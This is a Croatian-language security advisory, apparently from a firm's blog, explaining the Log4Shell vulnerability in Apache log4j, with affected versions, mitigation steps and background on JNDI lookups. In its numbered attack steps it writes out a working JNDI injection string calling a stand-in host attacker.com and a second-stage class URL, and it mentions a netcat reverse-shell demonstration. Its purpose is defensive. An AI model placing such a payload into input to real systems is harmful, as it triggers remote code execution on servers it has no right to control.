Log4Shell, kritična zero-day ranjivost za popularni log4j library


Popularni Apache log4j library, koji se nalazi posvuda, u poslužiteljima Applea, Twittera, Valvea, Cloudfarea, praktički u svemu što ima Javu u sebi (preko tri milijarde uređaja), pretrpio je kritičnu zero-day ranjivost – ranjivost je nazvana Log4Shell (CVE-2021-44228).
Ranjivost je dobila ocjenu 10/10 što ukazuje na maksimalnu ozbiljnost i potencijalnu štetu ako se uspješno iskoristi.
Log4j, koji se koristi za pružanje funkcionalnost zapisivanja logova u mnogim poslovnim i klijentskim aplikacijama, uslugama u oblaku, pa čak i igrama, potencijalno izlaže stotine aplikacija napisanih u Javi spomenutoj Log4Shell ranjivosti.

Što se dogodilo?

Jučer je objavljena zero-day RCE (Remote Code Execution) ranjivost, zajedno s POC-om (Proof of Concept), za popularni log4j Java library.

Tko je pogođen?

Bilo koja aplikacija pisana u Javi ako koristi ranjive verzije log4j libraryja (2.0-beta9 do, i uključujući, 2.14.1).
CERT-ovi (Computer Emergency Response Team) diljem svijeta javljaju da je exploit za ranjivost prisutan u divljini i aktivno se koristi. U petak, 10.12., sigurnosni analitičari Infigo IS-a također su uočili i identificirali višestruke pokušaje eksploatacije u hrvatskom kibernetičkom prostoru.

Da li ga je teško iskoristiti?

Mehanizam koji koristi exploit je prilično složen, ali sam exploit je vrlo lagano upogoniti.
Sve što trebate napraviti da kompromitirate ranjivi server može se svesti na nekoliko koraka:

  1. Podaci od Korisnika šalju se na server (preko bilo kojeg protokola)
  2. Server bilježi podatke u zahtjevu koji sadržava zloćudni "teret" - ${jndi:ldap://attacker.com/a} (attacker.com je server kojeg kontrolira napadač)
  3. Sada se pokreće ranjivost log4j i server šalje zahtjev prema attacker.com preko JNDI-ja (Java Naming and Directory Interface)
  4. Odgovor servera sadrži putanju prema udaljenoj Java klasi (npr. http://second-stage.attacker.com/Exploit.class) koja se ubacuje u serverski proces
  5. Sada se ubačeni "teret" izvrši i dozvoli napadaču izvršavanje proizvoljnog računalnog koda
  6. Od ove točke nadalje napadač može izvršiti bilo koji kod na kompromitiranom serveru!


Što napraviti?

  1. Objavljena je nova verzija log4j libraryja, verzija 2.15.0, ali kako mnogi poslovni sustavi ne mogu samo tako jednostavno postaviti novu verziju, nadogradnja bi mogla potrajati
  2. Ako koristite staru, ranjivu verziju, možete postaviti formatMsgNoLookups na "true" kako biste onemogućili lookup (-Dlog4j2.formatMsgNoLookups=true)
  3. Možete modificirati uzorke zapisivanja koji su specificirani na službenim web stranicama Apachea
  4. Kao privremeno rješenje možete blokirati sav odlazni promet koji nije potreban; ako imate server koji vrti Java aplikaciju i potreban mu je samo dolazni promet, priječite sav odlazni

SOC klijenti Infigo IS-a dobili su nove prilagođene potpise koji detektiraju Log4Shell ranjivosti i njezino iskorištavanje. Interni IT timovi trebali bi, čim je prije moguće, poduzeti mjere za ublažavanje ranjivosti kroz prethodno navedene korake.

Još nekoliko detalja

Ranjivost dolazi zahvaljujući značajci lookup u JNDI-ju (Java Naming and Directory Interface) log4j libraryja; lookup omogućuje dohvaćanje varijabli putem JNDI-ja, a log4j podržava LDAP i RMI (Remote Method Invocation) upite.
To znači kad log4j naiđe na JNDI referencu u log datoteci, otići će do resursa koji mu treba i dohvatiti ga kako bi odradio potrebnu varijablu. To je dio gdje može skinuti udaljene klase i izvršiti ih.
Paket marshalsec stvara JNDI referencu putem RMI protokola
Napadač može iskoristiti JNDI reference da dohvati paket marshalsec (kojeg je napravio Moritz Bechler i dostupan je na GitHubu) koji ima mogućnost preusmjeravanja JNDI lookupa prema prilagođenoj bazi koda preko HTTP-a.
I to je to – aplikacija, serverska ili klijentska, dohvaća klasu i izvršava je. Napadač može napraviti bilo što.
Primjer LDAP reference koja će izvršiti netcat i poslati shell natrag napadaču
Naš tehnički direktor, Bojan Ždrnja, napravio je jednostavni primjer kako napadač dobiva pristup shellu u par jednostavnih koraka i, nažalost, radi bez problema.